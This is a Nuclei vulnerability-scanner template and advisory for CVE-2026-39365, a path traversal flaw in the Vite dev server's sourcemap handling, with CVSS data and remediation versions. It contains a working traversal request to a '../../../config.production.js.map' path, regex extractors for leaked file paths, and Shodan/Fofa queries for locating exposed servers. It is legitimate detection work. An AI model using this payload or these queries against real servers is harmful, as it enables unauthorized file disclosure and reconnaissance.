CVE-2026-39365: Vite Dev Server - Path Traversal in Optimized Deps .map Handling
- Template: CVE-2026-39365
- Name: Vite Dev Server - Path Traversal in Optimized Deps .map Handling
- Description: Vite development server versions prior to 8.0.5, 7.3.2, and 6.4.2 are vulnerable to path traversal through the optimized dependencies sourcemap handler. The dev server's handling of .map requests for optimized dependencies resolves file paths via normalizePath(path.resolve(root, url.slice(1))) and calls readFile without restricting ../ segments in the URL. This allows an attacker to bypass server.fs.strict and retrieve auto-generated sourcemaps for files located outside the project root, leaking absolute filesystem paths. Only dev servers explicitly exposed to the network using --host or server.host are affected.
- Impact: An attacker can trigger auto-generated sourcemap responses for files outside the project directory, leaking absolute filesystem paths and potentially reading .map files containing sensitive source code or configuration data.
- Remediation: Upgrade Vite to version 8.0.5, 7.3.2, 6.4.2 or later.
- Severity: medium
- Authors: theamanrawat
- Tags: cve, cve2026, vite, lfi, path-traversal, vuln, unauthenticated, vkev
- References: https://github.com/advisories/GHSA-4w7w-66w2-5vf9, https://github.com/vitejs/vite/security/advisories/GHSA-4w7w-66w2-5vf9, https://nvd.nist.gov/vuln/detail/CVE-2026-39365
- Cves: CVE-2026-39365
- Verified: yes
- Max requests: 2
- Directory: http/cves
- Path: http/cves/2026/CVE-2026-39365.yaml
- Digest: 4a0a00473045022100aec59b34d0ac9adc47fe61c545c5a50f4c29077939c3b8e8cc9be67680c0dc97022076f65de29b7ab94585391e3826672ee251278aa50f9771204c9486ea47eeaffb
- Created at: 2026-04-08T01:46:33Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 230
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-39365.yaml
- Checked, none or zero: products
Classification
- Cwe: CWE-22
- Cvss score: 5.3
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- Epss score: 0.00914
- Epss percentile: 0.6102
- Not known: cpe
Metadata
- Fofa-query: body="/@vite/client" && port="5173"
- Max-request: 2
- Shodan-query: http.html:"/@vite/client" port:"5173"
- Verified: yes
Labels
- Name: Vite - Path Traversal
- Impact: Attackers can retrieve sensitive .map files outside the project root, potentially exposing source code and internal details.
- Remediation: Update to versions 6.4.2, 7.3.2, or 8.0.5 or later.
- Vulnerability type: path_traversal
- Vulnerability impact: information_disclosure, file_system_read
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2026-39365
- Not known: requirements
```yaml
id: CVE-2026-39365
info:
name: Vite Dev Server - Path Traversal in Optimized Deps .map Handling
author: theamanrawat
severity: medium
description: |
Vite development server versions prior to 8.0.5, 7.3.2, and 6.4.2 are vulnerable to path traversal through the optimized dependencies sourcemap handler. The dev server's handling of .map requests for optimized dependencies resolves file paths via normalizePath(path.resolve(root, url.slice(1))) and calls readFile without restricting ../ segments in the URL. This allows an attacker to bypass server.fs.strict and retrieve auto-generated sourcemaps for files located outside the project root, leaking absolute filesystem paths. Only dev servers explicitly exposed to the network using --host or server.host are affected.
impact: |
An attacker can trigger auto-generated sourcemap responses for files outside the project directory, leaking absolute filesystem paths and potentially reading .map files containing sensitive source code or configuration data.
remediation:
Upgrade Vite to version 8.0.5, 7.3.2, 6.4.2 or later.
reference:
- https://github.com/advisories/GHSA-4w7w-66w2-5vf9
- https://github.com/vitejs/vite/security/advisories/GHSA-4w7w-66w2-5vf9
- https://nvd.nist.gov/vuln/detail/CVE-2026-39365
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2026-39365
epss-score: 0.00914
epss-percentile: 0.6102
cwe-id: CWE-22
metadata:
verified: true
max-request: 2
shodan-query: http.html:"/@vite/client" port:"5173"
fofa-query: body="/@vite/client" && port="5173"
tags: cve,cve2026,vite,lfi,path-traversal,vuln,unauthenticated,vkev
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body_1
words:
- "/@vite/client"
internal: true
- type: status
status:
- 200
internal: true
- raw:
- |
GET /node_modules/.vite/deps/../../../config.production.js.map HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "\"version\":3"
- "\"mappings\""
condition: and
- type: regex
part: body
regex:
- "\"file\":\"/"
- type: word
part: header
words:
- "application/json"
- type: status
status:
- 200
extractors:
- type: regex
part: body
group: 1
regex:
- "\"file\":\"([^\"]+)\""
digest: 4a0a00473045022100aec59b34d0ac9adc47fe61c545c5a50f4c29077939c3b8e8cc9be67680c0dc97022076f65de29b7ab94585391e3826672ee251278aa50f9771204c9486ea47eeaffb:922c64590222798bb761d5b6d8e72950
```